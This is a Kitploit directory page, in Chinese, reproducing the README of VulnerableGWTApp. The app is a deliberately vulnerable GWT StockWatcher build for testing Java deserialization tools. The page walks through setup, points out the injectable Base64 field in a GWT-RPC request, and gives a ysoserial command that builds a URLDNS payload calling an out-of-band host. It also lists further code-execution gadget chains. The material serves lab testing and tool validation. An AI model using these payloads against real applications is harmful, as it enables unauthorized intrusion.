Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
VulnerableGWTApp — 一个基于GWT的故意存在漏洞的Web应用程序,用于测试工具和技术 | Kitploit
工具/GitHubGitHub/bishopfox/vulnerablegwtapp
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育实验室与实践
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

一个基于GWT的故意存在漏洞的Web应用程序,用于测试工具和技术

查看仓库
52年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

存在漏洞的 GWT Web 应用程序

这是 GWT 入门指南中描述的 StockWatcher 示例应用 的一个版本,已被修改为使用 GWT 的“增强类”功能,从而使其容易受到 Java 反序列化攻击。它只应用于测试检测和利用工具。增强类在现实世界的基于 GWT 的应用中很常见,但在该示例发布之前,还没有易于找到的开源 Web 应用可供安全专业人员用来验证其工具和流程。

关于利用基于 GWT 的应用程序的讨论,请参见 Bishop Fox 博客文章《GWT:一个存在八年未修复的 Java 反序列化漏洞》。

运行 Web 应用程序

要运行该 Web 应用程序,你需要一台 Linux 系统,并具备以下工具:

  • 完整版的 OpenJDK 11 JRE,而非 headless 版本 - 例如,在基于 Debian 的发行版上,安装 openjdk-11-jre 软件包
  • ant(使用你的发行版的软件包管理器安装)
  • GWT SDK 2.10.0 版本

快速开始

该应用程序需要多个 JAR 文件,这些文件太大,无法直接包含在 GitHub 源代码管理中,因此最简单的入门方式是下载 发布页面 上的最新软件包并解压。

解压发布包后,编辑 build.xml 中的这一行,将 /home/user/GWT/gwt-2.10.0 替换为你的 GWT SDK 目录:

在源代码目录中,运行以下命令:

root@kitploit:~
ant build
ant devmode

这将启动存在漏洞的 Web 应用程序,并使其可通过 http://127.0.0.1:8888/StockWatcher.html 访问。

请注意,如果你正在将流量转发到本地服务以使其可远程访问,那么除了 8888 端口外,还应转发 9876 端口。

直接从此仓库中的代码运行

如果你想克隆此仓库并在不下载发布包的情况下运行该应用程序,则需要在克隆后将以下第三方 JAR 文件下载并添加到 lib 目录中:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

你还需要将以下 GWT JAR 文件从你的 GWT 目录(例如 gwt-2.10.0/)复制到该存在漏洞的应用程序的 lib 目录中:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

复制所有上述 JAR 文件后,执行上面快速开始部分中的其他步骤。

利用 Web 应用程序

使用配置为通过拦截代理(例如 Burp Suite)连接的 Web 浏览器,加载 URL http://127.0.0.1:8888/StockWatcher.html。

该页面最初会显示一条“正在编译”的消息。请等待它显示以下基本表单:

[ StockWatcher Web 应用显示一个用于添加股票代码的字段 ]

在该字段中输入一个短字符串,例如 BFOX,然后点击 Add 按钮。页面应开始显示该模拟股票代码的随机更新:

[ StockWatcher Web 应用显示 BFOX 代码的模拟价格数据 ]

在你的拦截代理历史记录中,注意你的浏览器现在会反复向 http://127.0.0.1:8888/stockwatcher/checkCustomClass1 发送 POST 请求,类似如下:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

Base64 编码的二进制数据 rO0ABXcEAAAAAA== 是请求中的一个易受攻击的注入点。要利用该 Web 应用程序,你需要生成一个替换 payload。例如,要使用 Bishop Fox 定制的 ysoserial 版本 生成一个 URLDNS payload,可以执行以下命令:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

发送一个修改后的请求,将 rO0ABXcEAAAAAA== 替换为你生成的 payload,存在漏洞的应用程序应会反序列化并触发它。除了 payload 引起的任何操作外,如果该值被反序列化,响应还应包含一个与字段名相关的 NoSuchFieldException,例如使用上面示例中的 bishopfox 名称:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

如果你使用了预构建的存在漏洞的 Web 应用程序,或手动将上述所有 JAR 文件添加到自定义构建中,那么你(至少)应该能够对该 Web 应用使用以下 payload:

  • AspectJWeaver
  • Jython2
  • Jython3

在撰写本文时,ysoserial 的主线版本不支持 GWT 格式的输出,因此请务必使用自定义分支。

下载工具